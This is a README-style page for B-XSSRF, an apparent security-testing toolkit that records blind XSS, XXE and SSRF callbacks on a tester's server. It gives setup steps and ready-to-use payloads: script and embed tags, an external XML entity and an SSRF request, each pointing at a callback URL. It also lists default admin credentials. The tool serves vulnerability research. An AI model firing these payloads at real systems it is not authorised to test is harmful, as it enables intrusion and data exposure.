B-XSSRF: Toolkit to detect and keep track on Blind XSS, XXE & SSRF

B-XSSRF

Toolkit to detect and keep track on Blind XSS, XXE & SSRF

SETUP

• git clone https://github.com/SpiderMate/B-XSSRF.git
• Upload the files to your server.
• Create a Database and upload database.sql file to it.
• Change the DB Credentials in the db.php file.
• Ready.

USAGE

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php"> 
<script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?> 
<!DOCTYPE root [ 
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext; 
]> 
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

DEFAULT CREDENTIALS

USER : admin@test.com 
PASS : 123456

Source: https://github.com/SpiderMate/